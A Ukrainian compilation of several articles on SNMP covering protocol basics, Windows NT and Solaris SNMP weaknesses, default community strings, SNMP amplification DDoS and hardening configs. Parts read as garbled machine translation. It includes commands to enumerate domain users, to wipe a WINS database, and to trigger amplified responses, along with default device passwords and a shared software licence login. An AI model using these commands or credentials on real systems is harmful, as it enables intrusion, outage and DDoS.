Протокол snmp методи мережевих атак та захисту. Протокол SNMP

Delphi , Інтернет та Мережі, Протоколи



Усі серйозні системи керування мережами використовують для своєї роботи простий мережевий протокол керування (Simple Network Management Protocol, SNMP). Насправді SNMP - це не просто протокол, а ціла технологія, покликана забезпечити управління та контроль за пристроями та програмами в мережі. З її допомогою можна контролювати будь-які пристрої, підключені до комп'ютерної мережі, наприклад датчики пожежогасіння або навіть світлофори. Зрозуміло, SNMP можна використовувати (і це активно роблять) для управління мережевими компонентами: концентраторами, серверами, маршрутизаторами тощо. продуктивністю мережі та виявляти та вирішувати мережеві проблеми.

Три складові технології SNMP: структура керуючої інформації (SMI) бази керуючої інформації (MIB) сам протокол SNMP

Модель керування SNMP

Агентами SNMP є програмні модулі, які працюють у керованих пристроях. Агенти збирають інформацію про керовані пристрої, в яких вони працюють, і роблять цю інформацію доступною для систем управління мережами (network management systems - NMS) за допомогою протоколу SNMP.

Протокол SNMP v1

SNMP реалізований в 1988 практично у всіх широко поширених мережевих середовищах: TCP/IP, IPX/SPX, AppleTalk та ін. Основною концепцією протоколу є те, що вся необхідна для управління пристроєм інформація зберігається на самому пристрої - сервер, модем або маршрутизатор - у так званій Адміністративній базі даних (MIB - Management Information Base). SNMP як мережевий протокол надає тільки набір команд для роботи зі змінними MIB. Цей набір включає наступні операції:

  • get-request Використовується для запиту одного або більше параметрів MIB
  • get-next-request Використовується для читання послідовних значень. Зазвичай використовується для читання значень таблиці. Після запиту першого рядка за допомогою get-request get-next-request використовують для читання рядків таблиці, що залишилися.
  • set-request Використовується для встановлення значення однієї або більше змінних MIB
  • get-response Повертає відповідь на запит get-request, get-next-request або set-request
  • trap Повідомлення про події типу cold або warm restart або "падіння" деякого link"а.

Для того, щоб проконтролювати роботу якогось пристрою мережі, необхідно просто отримати доступ до його MIB, яка постійно оновлюється самим пристроєм, та проаналізувати значення деяких змінних.

Формат повідомлень

Повідомлення SNMP складаються з двох частин: імені спільноти (community name) та даних (data). Ім'я спільноти визначає середовище доступу для набору NMS, які використовують це ім'я. Інформаційна частина повідомлення містить специфічну операцію SNMP (get, set і т.д.) і пов'язані з нею операнди. Операнди позначають реалізації об'єкта, які включені в дану транзакцію SNMP.

Structure of Management Information. RFC 1208

Визначає логіку адресації інформації при взаємодії агентів та менеджерів SNMP. Синтиксис описується абстрактними правилами Abstract Syntax Notation One, ASN.1.

Management Information Base (MIB, MIB-II). RFC 1213

MIB є набором змінних, що характеризують стан об'єкта управління. Ці змінні можуть відображати такі параметри, як кількість пакетів, оброблених пристроєм, стан інтерфейсів, час функціонування пристрою і т.п. Кожен виробник мережного обладнання, крім стандартних змінних, включає в MIB будь-які параметри, специфічні для даного пристрою (піддерево private enterprise).

Як відбувається адресація в MIB до деякої її змінної?

За своєю структурою MIB є дерево. Кожному елементу відповідає чисельний і символьний ідентифікатор. В ім'я змінної включається повний шлях від кореневого елемента root.

Наприклад, час роботи пристрою з моменту перезавантаження зберігається в змінній, що знаходиться в розділі system під номером 3 і називається sysUpTime. Відповідно, ім'я змінної буде включати весь шлях: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3) ; або мовою чисел: 1.3.6.1.2.1.1.3. Слід зазначити, що у своїй вузли дерева розділяються точками.

Існує стандартна гілка MIB, що стосується розділу управління mgmt, яку зазвичай підтримують всі мережеві пристрої.

Тестування мережі за допомогою SNMP

За допомогою SNMP можна виконувати різні тести функціональних можливостей мережевих пристроїв, визначені знову ж таки на самих пристроях. Це буває корисно, оскільки просто спостереження статистики найчастіше не дає повної картини того, що відбувається.

Так, наприклад, для розділу, що відноситься до інтерфейсів Ethernet, визначено тест TDR (Time-domain reflectometry), що дозволяє визначати приблизну відстань до пошкодження коаксіальному кабелі. Для того, щоб запустити TDR тест необхідно встановити значення змінної ifExtnsTestTypе (1.3.6.1.2.1.12.2.1.4), що містить тип тесту, що виконується, так, щоб вона містила ідентифікатор тесту TDR в MIB: 1.3.6.1.2.1.1.7.

Результатом тесту буде, по-перше, значення змінної ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), що характеризує результат тесту:

  • відсутність результату
  • успіх
  • виконується
  • не підтримується
  • неможливо запустити
  • припинено
  • невдале завершення

І по-друге, значення змінної ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) міститиме ідентифікатор змінної MIB, що містить результат тесту. Результат тесту визначений як часовий інтервал у 100-наносекундних одиницях між початком передачі тестового пакета та виявленням колізій у несучій. У принципі, на підставі цього значення можна визначити необхідну відстань.

Фундаментальним нововведенням у SNMPv2 є те, що елемент адміністрування мережі може працювати як менеджер, агент або менеджер і агент одночасно. Ця концепція дає можливість користувачам застосовувати SNMP в ієрархічній структурі, в якій локальні менеджери звітують перед менеджерами середньої ланки, які контролюються менеджером вищого рівня. Чимало місця відводиться проблемам захищеності SNMP, мабуть, найуразливішої точки протоколу.

Безпека SNMP. RFC 1352.

Один з найбільш помітних недоліків SNMP v1 – відсутність розвиненої системи захисту даних на рівні, необхідному для мереж масштабу підприємства.

Як сказав Mike Warfield: "SNMP stands for Security Not My Problem".

У SNMPv1 захист адміністративної інформації трактувався надто спрощено: вона базувалася на використанні колективного імені (Community Name), яке, перебуваючи у заголовку SNMP, несло у собі всі можливості захисту повідомлень. Цей засіб(відоме під назвою тривіальний протокол) вимагало, щоб програма-агент і менеджер пізнали одне й те колективне ім'я, перш ніж продовжити виконання операцій мережевого адміністрування. В результаті багато адміністраторів мереж обмежувалися у своїй роботі лише функціями моніторингу, забороняючи видачу команди SET, здатної змінювати параметри конфігурації. віддаленого пристрою. Це призвело до того, що користувачі уникали команд SET: такий примітивний засіб захисту, як колективне ім'я, міг дати можливість особам, які не мають відповідних повноважень, змінювати параметри, про що користувачі могли навіть і не дізнатися. До того ж вся критично важлива інформаціяпередавалася у відкритому вигляді, тому в інтернеті доступний навіть snmp sniffer

У зв'язку з цим було розроблено пропозиції щодо вдосконалення захисту у межах SNMPv1, подані у липні 1992 р.; вони становили основу структури захисту для SNMPv2.

Стандартами захисту SNMPv2 визначаються методи аутентифікації (DAP – Digest Authentication Protocol) та забезпечення конфіденційності (SPP – Symmetric Privacy Protocol) інформації адміністративного характеру. В основі лежить концепція учасника (party) - унікального набору параметрів захисту, який може включати розташування мережі, протоколи аутентифікації та забезпечення конфіденційності, що використовуються між агентом та менеджером.

Проблеми впровадження SNMPv2

SNMPv2 обіцяє вигоди в плані захисту та продуктивності, що важливо для користувачів. Але деякі компанії, напевно, запропонують свої власні ідеї, особливо в частині захисту та зв'язків між менеджерами. Крім того, фірми, що розширили функціональні можливості своїх баз даних MIB у середовищах із SNMPv1, навряд чи поспішають із випуском продуктів під SNMPv2.

Безперечно, користувачі захочуть мати продукти на базі SNMPv2. Але справа в тому, що багато хто вже вклав надто великі кошти у версію SNMPv1, щоб просто викинути її і почати все з нуля. Автори SNMPv2 передбачали це та виходили з поступовості переходу на нову технологію. Передбачено два способи збереження SNMPv1: використання уповноважених агентів та двомовних менеджерів. Уповноважений агент виконує перетворення форматів SNMPv1 на повідомлення SNMPv2 і назад.

Інший варіант - двомовний менеджер, який одночасно підтримує обидва протоколи (SNMPv1 і SNMPv2) і не потребує перетворень. Двомовний менеджер SNMP визначає, з яким форматом працює агент – версії 1 або версії 2, та спілкується на відповідному діалекті. Таким чином, вибір версії протоколу повинен бути прозорий для пристроїв, що приймають.

На жаль, друга версія SNMP так і досі не затверджена, тому в стані мережевого управління спостерігається розбрід і хитання.

Доступні реалізації агентів та менеджерів

http://www.microsoft.com/smsmgmt/
MS SMS Netmon

http://www.winfiles.com/apps/98/net-manage.html
купа різноманітних агентів та менеджерів для Win95.

Epilogue пропонує програмне забезпечення, що реалізує підтримку SNMP, що включає:

  • Envoy, Epilogue"s compact, fast, portable SNMP solution for OEMs
  • Emissary, SNMP MIB compiler, що дозволяє SNMP implementors до розширеного стандарту SNMP variables для підтримки напруги в MIBs в кожній управлінні пристроєм;
  • Ambassador, в повному обсязі, портативне виконання RMON (FastEthernet) remote monitoring agent.
  • IBM Netview для AIX особливості SystemView забезпечується розповсюдженим або центральним управлінням великої heterogeneous networks.
  • ACE*COMM WinSNMP supports SNMPv1 & SNMPv2u in v2.0 з його industry-leading Win16 and Win32 WinSNMP implementations.
  • Digital Unix POLYCENTER Manager на веб-сайті NetView забезпечується клієнтом/сервером управління функцією multivendor enterprise networks.
  • The PowerFlag tool – агент для UPS MIB джерел безперебійного живлення компанії Victron B.V.
  • WS_Ping ProPack v.2.10 дозволяє переглядати MIB таблиці, вказувати піддерев'я. Для завантаження свіжих версій із сервера Ipswitch можна використовувати такі дані:
    • User Name: 0000037181
    • Password: CQWSC
    • Serial Number: WP-101333
  • Openly-Available Implementations
  • CMU SNMP agent (source)
    • an agent that support both SNMPv1 and SNMPv2u
    • a number command line based applications that support both SNMPv1 and SNMPv2u.
    • Carnegie-Mellon University SNMP Development Kit supporting SNMPv1/v2
  • NetSCARF є Network Statistics Collection and Reporting Facility. Це дозволить ISPs до електронної пошти та повідомлення про свою частину Інтернету, на основі SNMP version 1 і USEC.
  • Scotty є мережею управління мережею для Tool Command Language (Tcl), які включають портативної implementation of SNMPv1, SNMPv2c і SNMPv2u protocol. The Scotty Tcl Extension включає в себе мережу управління платформою (Tkined), що забезпечується MIB-браузером, мережею map editor, як добре, як статуя monitoring, troubleshooting, мережевий запис і еvent filtering scripts.
    • snmptcp v1.3 є extensible platform for management applications which seemlessly implements SNMPv1, SNMPv2c, and SNMPv2u.
    • package runs під X window System на UNIX і є будівлею з Tool Command Language (Tcl7.3/Tk3.6).

Атака Windows SNMP.

Сервіси працюють на наступних портах UDP (/etc/services)

  • snmp 161/udp snmp
  • snmp-trap 162/udp snmp

Цікаві SMI Network Management Private Enterprise Codes:

Prefix: 1.3.6.1.4.1.

  • 2 IBM
  • 4 Unix
  • 9 cisco
  • 32 Santa Cruz Operation
  • 42 Sun Microsystems

Невелике поширення сканнерів UDP портів під Windows, SNMP менеджерів, а також відсутність знань про сам протокол є, очевидно, єдиною причиною нечисленності атак на пристрої під управління SNMP v1, тому що в реалізаціях цього протоколу в деяких операційних системах припущені серйозні помилки. Підтвердження цьому з'являються в списках розсилки bugtraq

Уразливість у стандартній конфіругації Windows NT SNMP Сервісу.

Дозволяє віддалено конфігурувати мережеві параметри, які впливають на безпеку та правильне функціонування системи (якщо адміністратор сам запустив SNMP Service)

За замовчуванням, SNMP service відповідає на стандартне community (ім'я) "public", яке має права на читання та запис. Community - це ім'я, яке має такі ж функції, як логін і пароль в системах.

Протокол SNMP надає два рівні повноважень: read-only and read-write, проте до виходу SP4 Windows NT SNMP Service не дозволяв конфігурувати communities доступу, відмінному від read-write!

Якщо спробувати убезпечити SNMP Service шляхом перейменування community для доступу, система залишиться незахищеною від крякера, що має обліковий запис на машині, оскільки параметри SNMP Service знаходяться в регістрі і доступні всім користувачам на читання. Також Windows NT SNMP Service має можливість обмежити доступ для списків IP-адрес. На перший погляд, це дозволяє захиститися від атак невідомих систем, однак це не є проблемою для крякерів (що необхідно розуміти будь-якому адміністратору), оскільки протокол SNMP використовує UDP протокол для обміну інформацією, а він є протоколом без встановлення з'єднання, тому можлива заміна вихідної адреси (але для цього доведеться переробити вихідні дані SNMP менеджерів під Unix і вивчити UDP spoofing)

SNMP "set" операції (дозволяють змінювати значення змінних) можуть бути проведені з заміною зворотної адреси на будь-який, тому що відповідь не потрібна. Однак якщо включено обмеження довірених IP адрес, але доведеться знайти акаунт на системі, що атакується, і витягти довірену інформацію з регістру.

Завдяки налаштованому за промовчанням Windows NT SNMP Сервісу ми можемо отримати за допомогою SNMP менеджера таку інформацію:

  • the LAN Manager domain name
  • a list of users
  • a list of shares
  • a list of running services
  1. Відкрити HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
  2. знайти значення, яке містить SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion
  3. і видалити його.
  • a list of active TCP connections
  • a list of active UDP connections
  • a list of network interfaces and their asocied IP and hardware addresses
  • IP routing table and ARP table як добре, як число мережних розробок статистики.

Встановлюючи змінні, крякер може модифікувати таблицю роумінгу, ARP таблицю, вимкнути мережеві інтерфейси, збити суттєві мережеві параметри типу default IP, час життя пакетів (TTL), IP forwarding (дозволить кракеру перенаправляти мережевий трафік). Це особливо небезпечно, якщо атакована машина є фаєрволом.

За прикладами далеко ходити не треба, наприклад, якщо машина є domain controller або server, але отримати список всіх користувачів у домені можна командою C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25

Якщо вам хочеться видалити всі записи в базі даних WINS (що призведе до повної відмови WinNT), то для цього необхідно виконати ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.1 набору CMU SNMP development kit under Unix.

Також є дуже цікава деталь при установці SNMP community names у Windows NT 4.0 (SP3). Якщо сервіс увімкнено, а імена не налаштовані, то будь-яке ім'я даватиме read/write привілеї. Як виявилося, це зазначено у специфікації SNMP (RFC 1157)!

Четвертий СервісПак (SP4) надає наступне рішення проблеми: додавання контролю доступу community як READ ONLY, READ WRITE або READE CREATE. Однак за замовчуванням SP4 встановлює READ CREATE доступ, який все ще дає змогу атакувати машини. Мікрософт явно дбає про зручність WinNT для хакерів:)

Проблема в OS Solaris версія до 2.6.

Виходячи з ISS Security Advisory (November 2nd, 1998), в агенті SNMP, який за замовчуванням запущений у цій системі, існують реальні загрози отримати доступ на рівні рута, маніпулювати процесами та параметрами машини.

Для доступу до MIB-інформації існує прихована "undocumented community string", яка дозволить атакуючому змінити більшість системних параметрів.

На жаль, саме це community не називається, проте ISS Internet Scanner і ISS RealSecure real-time intrusion detection можуть детектувати цю проблему, тобто. подивитися можна і в їхніх вихідниках

Стаття Опис протоколу SNMP (Simple Network Management Protocol)розділу Інтернет та Мережі Протоколи може бути корисна для розробників на Delphi та FreePascal.

Вступ

Ця стаття є логічним продовженням матеріалу " ", у якому було дано базисні принципи функціонування цього протоколу. Метою цієї роботи
є освітлення необхідних заходів для забезпечення належного рівня захисту
SNMP. Хотілося б вибачитися у читача за те, що деякі
моменти з попереднього матеріалу повторюватимуться - це необхідно для
більш повного огляду даного питання. Інформація загального характеру тут
буде представлена ​​у мінімальному обсязі; для кращого сприйняття матеріалу
раджу прочитати першу статтю.

Загрози

Проблеми з протоколом SNMP почалися з першої версії, коли механізм
захисту не було як такого. Будь-який бажаючий міг дізнатися паролі просто
прослуховуючи мережу. Але через деякий час вийшла друга версія, в якій,
відповідно до вимог часу, були реалізовані більш серйозні
функції захисту. Зокрема, хешування за допомогою MD5, шифрування по
DES та ін. (Див. першу статтю). На сьогоднішній момент останньою є третя версія SNMP, розробники
якою основним завданням бачать забезпечення безпеки. Однак, не всі
так гладко з безпекою навіть у третьої версії.
Існує 6 видів загроз для SNMP:

  1. Розкриття інформації: відстеження обміну даними між агентами та
    керуючої станцією з метою збирання значень
  2. Маскарадінг
  3. Модифікації: надсилання повідомлень для фіктивних операцій
  4. Модифікації у потоці повідомлень
  5. Аналіз мережевого трафіку
  6. Атаки відмови в обслуговуванні.

Розглянемо, як здається, найбільш захищену третю версію SNMP у світлі
протидіям цим типам атак.

Атака на SNMPv3

  • Маскарадінг - помилка усунута, система
    перевіряє походження пакетів
  • Модифікація – протокол перевіряє цілісність за допомогою MD5
  • Загроза розкриття - кріптування за допомогою DES
  • Аналіз трафіку - протокол, як і раніше
    УРАЗИМО
  • Відмова в обслуговуванні - УРАЖЕННЯ

Отже, як виявилося, навіть 3 версія вразлива для деяких типів атак. В
зокрема, набір утиліт ucd-snmp версій 5.0.1, 5.0.3, 5.0.4.pre2, який
включає SNMP демон, утиліти для опитування і встановлення значень
MIB, а також інші корисні особливості вразливі для атаки відмови в
обслуговування. Вразливість було знайдено Andrew Griffiths та анонсовано
компанією iDEFENSE 2 жовтня 2002 року.
Вирішенням проблем такого плану може бути лише регулярне оновлення
програмного забезпечення.

Однією з найпоширеніших проблем навіть досі є паролі
(community strings) за замовчуванням. Вкотре хочеться відзначити, що
установки за замовчуванням НЕОБХІДНО змінювати. Рішенням послужить ретельне вивчення сторінок man за такими файлами:
snmp.conf, snmp_config, snmpcmd, в яких міститься інформація щодо
конфігурації SNMP та роботи файлів. Навіть за простою зміноюзначення по
замовчуванням "public" на більш складний пароль, зловмисник вже не зможе
отримати інформацію про Вашу систему за допомогою тривіальної утиліти
snmpwalk. Безліч мережевих пристроїв (switches, WAN/LAN роутери, модеми, а також
деякі операційні системи) за замовчуванням налаштовані
активованим SNMP і навіть із rw доступом(!). Наслідки такої недбалості
передбачити нескладно. Ось невеликий список, для прикладу, пристроїв
паролями за замовчуванням:

3com Switch 3300 (3Com SuperStack II) - private
- Cray MatchBox router (MR-1110 MatchBox Router/FR 2.01) - private
- 3com RAS (HiPer Access Router Card) - public
- Prestige 128/128 Plus - public
- COLTSOHO 2.00.21 - private
- PRT BRI ISDN router - public
- CrossCom XL 2 - private
- WaiLAN Agate 700/800
- HPJ3245A HP Switch 800T - public
- ES-2810 FORE ES-2810, Version 2.20 - public
- Windows NT Version 4.0
- Windows 98 (не 95) - public
- Sun/SPARC Ultra 10 (Ultra-5_10) - private

До речі, 16 жовтня у списку розсилки bugtraq була опублікована нова
інформація про несанкціонований доступ до AVAYA Cajun. SNMP-community
[email protected]! дозволяє повний доступ. Також були наведені недокументовані
облікові записи diag/danger та manuf/xxyyzz. Вирішенням таких проблем стане обмеження rw доступу, заборона доступу
до пристроїв із активованим SNMP ззовні. Необхідно заборонити доступ до
SNMP порти для всіх сторонніх комп'ютерів. Здійснити це досить просто,
Досить використовувати набір правил ipchains/iptables. Дати пораду з налаштування
ipchains досить складно, т.к. необхідно знати топологію локальної мережі, а
для домашніх робочих станцій SNMP не потрібний.

Для будь-кого системного адміністратора, який має справу з даними
протоколом, необхідні програми, які б спрощували роботу з SNMP. В
зв'язку з цим можна згадати MRTG та SNMP::Monitor. На думку автора пакета
SNMP::Monitor, його програма має переваги в порівнянні з MRTG (які
саме, Ви можете прочитати у readme). Завантажити SNMP::Monitor можна з
архівів packetstormsecurity.org. Ось лише деякі з її функцій:

Запуск постійного процесу, який стежитиме за мережевими
інтерфейсами та вести логи до бази даних
- надання графічного інтерфейсучерез WWW
- показ статистики
- включає систему контролю доступу до даних
та ін.

Безперечно необхідно логування відмов у наданні SNMP сервісу
неавторизованим хостам та подальший аналіз журналів. Якщо ви хочете
перевірити вразливість Вашої мережі, то непоганою програмою буде snmpsniff,
перехоплювач трафіку. Завантажити її можна з www.packetstormsecurity.org/sniffers/snmpsniff-1.0.tar.gz.
Для перевірки надійності паролів можна використовувати snmpbrute.c
є досить швидким переборником паролів.

Отже, у цій роботі я спробував наскільки це можливо висвітлити питання
безпечної роботи SNMP. Якщо щось пропустив, то буду вдячний за
підказку. Дякуємо за коментарі, які наштовхнули написати
продовження.

За погодженням з редакцією журналу публікую свою статтю "Захист від DDoS підручними засобами. Частина 3. SNMP Amplification" із номера 164-165 (липень-серпень 2016) випуску журналу "Системний адміністратор" .

Щоб зробити свій внесок у захист всесвітнього кіберпростору від DDoS , зовсім не обов'язково купувати дороге обладнання чи сервіс. Будь-який адміністратор сервера, доступного з Інтернету, може взяти участь у такій благородній справі без додаткових матеріальних вкладень, використовуючи лише знання та небагато часу.


Розглянемо DDoS-атаки типу "посилення"(amplification) з використанням сервісу SNMP.

SNMP amplification

Суть атаки полягає в тому, щоб ініціювати багаторазово збільшену відповідь на SNMP- запит. Спочатку розроблені для автоматизації отримання табличних даних при мінімізації кількості пакетів, що відправляються. BULK- запити стали досить ефективним інструментом проведення DDoS- атак у руках зловмисників. Як говорить RFC3416, GetBulkRequest, реалізований у SNMP версії 2, призначений для можливості запросити великий обсяг даних, чим і користуються атакуючі, використовуючи неправильно настроєні сервери в Інтернеті.

Якщо встановити максимальну кількість рядків, що повертаються в таблиці 20000 і виконати запит на адресу неправильно налаштованого сервера/пристрою:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

відповідь видасть приблизно таке:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent - Windows 2003 - x86 - 5.2"

< пропущено 290 рядків>

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = Не більше variables left in this MIB View (It is past the end of the MIB)

При цьому запущений tcpdump покаже розмір поверненого пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

У відповідь на запит розміром близько 70 байт з урахуванням заголовків сервер повертає відповідь розміром близько 10 кілобайт, тобто майже в 150 разів більше. Коефіцієнт посилення не фіксований і може приймати як більше (досягаючи 1700 разів), так і менше значення, залежно від типу ОС та параметрів конфігурації пристрою. Якщо під час формування такого запиту використовувати підміну IP- адреси відправника на адресу жертви та високу інтенсивність звернень до вразливого сервера DDoS-атака готова.

Причина

Суть проблеми полягає, як правило, не в уразливості, не в налаштуванні кількості значень, що віддаються, на один GetBulkRequest, а в тому, що значення SNMP community встановлено за замовчуванням: public – read-only або, що ще гірше, private - read-write. Протокол SNMP версій 1 і 2 заснований на UDP, використовується для моніторингу та управління,а як аутентифікаційний параметр доступу до керованого обладнання використовує значення community, яке може бути поставлене тільки для читання ( read-only ) або з можливістю запису ( read-write ). Найчастіше в системах під час активації сервісу SNMP встановлюється значення за замовчуваннямpublicдля read-only та privateдля read-write. Навіть якщо абстрагуватися від можливості використання некоректно настроєного сервера як рефлектор для посилення атак SNMP, то очевидна загроза отримання інформації про сервер, встановленому на ньому ПЗ та його версії, при використанні значенняpublic за замовчуванням для read-only. Практично безмежний привілейований доступ із правами адміністратора до пристрою дає read-write community private . Навіть якщо не буде здійснюватись шкідливих змін, інтенсивні запити з використанням протоколу SNMP можуть викликати значне навантаження на обчислювальні ресурси сервера, що опитується, чим вплинути на якість наданих їм сервісів.

Захист

Специфічні для SNMP Рекомендації щодо забезпечення безпеки сервера або мережевого обладнання можна поділити на такі напрямки:

1. Архітектурне: дозвіл обробки запитів лише на інтерфейсах, недоступних із недовірених мереж.

2. Зміна community більш важковідгадуване.

3. Обмеження IP- адрес керуючих станцій.

4. Обмеження гілки OID, доступною для отримання/зміни за SNMP.

5 . Мінімізація чи відмова від використання community на читання та запис.

6 . Перехід на SNMP версії 3 з використанням додаткових параметрів аутентифікації та шифрування.

7. Вимкнення SNMP, якщо не використовується.

Як виконати ці дії на різних операційних системах?

У конфігураційному файлі сервісу snmp налаштовуються такі параметри:

agentAddress udp:10.0.0.1:161# IP-адресу, протокол та порт, що приймає запитиSNMP

Якщо Unix- сервер по суті є маршрутизатором і архітектурно має кілька інтерфейсів, для безпеки необхідно залишити SNMP лише інтерфейс, доставлений з довіреного сегмента, але з Інтернет. Ім'я community для доступу задається параметром rocommunity (read-only ) або rwcommunity (read-write), також можна задати підсіть, доступ з якої дозволено, та гілку OID, доступну для роботи зазначеної підмережі із заданими правами рядка community. Наприклад, для того, щоб дозволити системам моніторингу з підмережі 10.0.0.0/24 доступ до інформації про інтерфейси ( OID 1.3.6.1.2.1.2 ), використовуючи рядок доступу MaKe_It_SeCuRe з правами тільки для читання, конфігураційний фрагмент виглядатиме так:

rocommunity MaKe_It_SeCuRe10.0.0.0/24 .1.3.6.1.2.1.2

В окремих випадках використання різноманітних Unix- систем вищезазначений рядок може мати кілька видозмінений синтаксис за рахунок використання інших параметрів та ієрархічної структури компонентів конфігураційного файлу. Детальний опис можна знайти, набравши команду

man snmpd.conf

Але якщо завдання полягає в тому, щоб максимально швидко забезпечити безпеку сервісу snmpd, який до цього був налаштований неправильно попередником, можна створити резервну копію snmpd.conf, новий конфігураційний файл внести обмеження по підмережі систем моніторингу і змінити community. В Debian це буде виглядати так:

# cd< директорія зsnmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe10.0.0.0/24 > snmpd.conf

# /etc/init.d/snmpd restart

Після цього доступ по SNMP до сервера буде лише у підмережі 10.0.0.0/24 з використанням нового community, при цьому всі сервери, на яких не змінено community на нове, перестануть отримувати відповіді запити, як і зловмисники.

Безпечнішим буде перехід на використання SNMPv3, у якому існує можливість варіювання параметрів аутентифікації. Крім того, на відміну від версій 1 та 2c, SNMPv3 дозволяє забезпечити шифрування трафіку між системою моніторингу та опитуваним обладнанням. Для створення користувача з правами лише на читання, автентифікацією та шифруванням трафіку, у конфігураційний файл snmpd.conf необхідно додати:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1. 2

Відповідно, користувач v3user отримає права read-only для перегляду гілки 1.3.6.1.2.1.2 за SNMP.

Перевірити коректність конфігурації можна після рестарту сервісу SNMP на сервері 192.168.10.128 командою, виконаною на клієнті:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

При цьому, незважаючи на те, що опитуватиметься все дерево, починаючи з 1 сервер віддасть тільки дозволену гілку 1.3.6.1.2.1. 2 , яка буде задана у конфігурації.

У разі відмови від SNMP v1/v2c на користь SNMPv3 необхідно також видалити з конфігураційного файлу фрагменти налаштування, що не стосуються SNMPv3.

Якщо ж SNMP для моніторингу серверане використовується, найбільш вірним рішенням буде видалення пакету snmpd.

У Cisco IOS відсутня можливість вибору інтерфейсу, який оброблятиме запити SNMP. Обмеження виконується за допомогою списків доступу ( access-control list, ACL). Припустимо, дозволеною буде підсіти 10.0.0.0/24. Створюється ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

який потім застосовується до відповідного community для SNMP v1/v2c, у даному прикладі MaKe_It_SeCuRe з правом доступу лише на читання:

(config)#snmp-server community MaKe_It_SeCuRe RO 10

Обмеження до гілок SNMP OID застосовується за допомогою view

(config)# snmp-server view IFACES 1.3.6.1.2.1. 2 included

після чого до створеного view прикріплюється community:

(config)#snmp-server community MaKe_It_SeCuReview IFACES RO 10

Для того, щоб використовувати SNMPv3 з необхідними обмеженнями(аутентифікація та шифрування, тільки читання, доступ з підмережі 10.0.0.0/24 до гілки інтерфейсів, позначеної в view IFACES) , необхідно створити групу(SECURE) з доступом на читання тільки до OID із view IFACES та необхідністю аутентифікації з шифруванням, прив'язавши її до створеного раніше access-list 10 :

(config)#snmp-server group SECURE v3 priv readIFACESaccess 10

потім додати до групи обліковий запискористувача(v3user) , задавши йому паролі на автентифікацію та шифрування, а також алгоритм шифрування(в даному випадку AES128):

(config)#snmp-server userv3userSECURE v3 auth sha Strong_Password priv aes 128 Priv_Password

SNMP може використовуватися для керування, і налаштування параметрів доступу за умовчанням за ступенем небезпеки можна порівняти з легковгадуваним паролем для входу по SSH. Виконавши описані у статті рекомендації,ми не тільки безпосередньо захистимося від атак на нашу мережу та сервери, але унеможливимо використання своїх ресурсів для атак на інших, а також мінімізуємо кількість підстав для кричучих заголовків у пресі «Російські хакери атакували...».

Отже, захистити свої сервери та мережу від несанкціонованого доступу з використанням протоколу SNMP, зменшити кількість DDoS-атак типу SNMP amplification та мінімізувати участь у них свого інфраструктурного сегменту можна за допомогою наступних дій, що не потребують додаткових фінансових вкладень:

    Управління обладнанням лише з довіреного сегменту мережі. Обмеження за допомогою прив'язки сервісу до певного інтерфейсу або за допомогою списків доступу.

    Зміна значень SNMP за замовчуванням (public і private) на важковгадувані.

    Обмеження гілки OID, доступною для отримання/зміни за SNMP.

    Використання тільки SNMPv 3 із застосуванням додаткових параметрів аутентифікації та шифрування.

    Вимкнення сервісу SNMP з видаленням кофігурації - у разі прийняття рішення про повну відмову від SNMP.

І якщо так зробить кожен адміністратор серверів, доступних з мережі Інтернет, цифровий світ наблизиться ще на один крок до досконалості.

ЗМІСТ
ВСТУП 3
1. ТЕОРЕТИЧНЕ ОБГРУНТУВАННЯ ПРОБЛЕМИ ДОСЛІДЖЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХІДНІСТЬ ВИВЧЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИС, ПРИЗНАЧЕННЯ 7
2. АНАЛІЗ АТАК НА ПРОТОКОЛ SNMP І СПОСІБ ПРОТИДІЇ
2.1 ТЕХНІКИ АТАК НА ПРОТОКОЛ SNMP І СПОСОБИ ЇХ ПОПЕРЕДЖЕННЯ 11
2.2 СПОСОБИ ПРОТИДІЇ АТАКАМ НА ПРОТОКОЛ SNMP 15
ВИСНОВОК 20
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛОВ 21

Фрагмент для ознайомлення

Рисунок 3 -Екранна форма утиліти SoftPerfectNetworkScannerЗаплаткиВиробники багатьох мережних пристроїв розробляють так звані латки, використання яких необхідне при виявленні в системі вразливостей. Таким чином, виявивши в мережі пристрої, орієнтовані на SNMP, доцільно зв'язатися з виробниками цих пристроїв, щоб з'ясувати, чи розробили вони необхідні латки. Наведемо алгоритм відключення служби SNMP в операційній системі Windows: Вибір меню Пуск – Панель управління – Адміністрація – Служби (див. мал. 4). Вибір служби SNMP. Якщо служба запущена, натискаємо на кнопку "Зупинити", а потім вибираємо "Тип запуску" - "Відключена". навіть при вимкненому SNMP.Фільтрація на входіФільтрація на вході ґрунтується на налаштуванні міжмережевих екранів і маршрутизаторів так, щоб вони виконували вхідну фільтрацію портів UDP 161 і 162. Це дозволить запобігти атакам, що ініціюються із зовнішньої мережі, на вразливі пристрої в локальній мережі. Інші порти, що підтримують служби, пов'язані з SNMP, у тому числі порти TCP і UDP 161, 162, 199, 391, 750 і 1993, також можуть вимагати вхідної фільтрації. , що виходить з мережі. Фільтрування вихідного трафіку на портах UDP 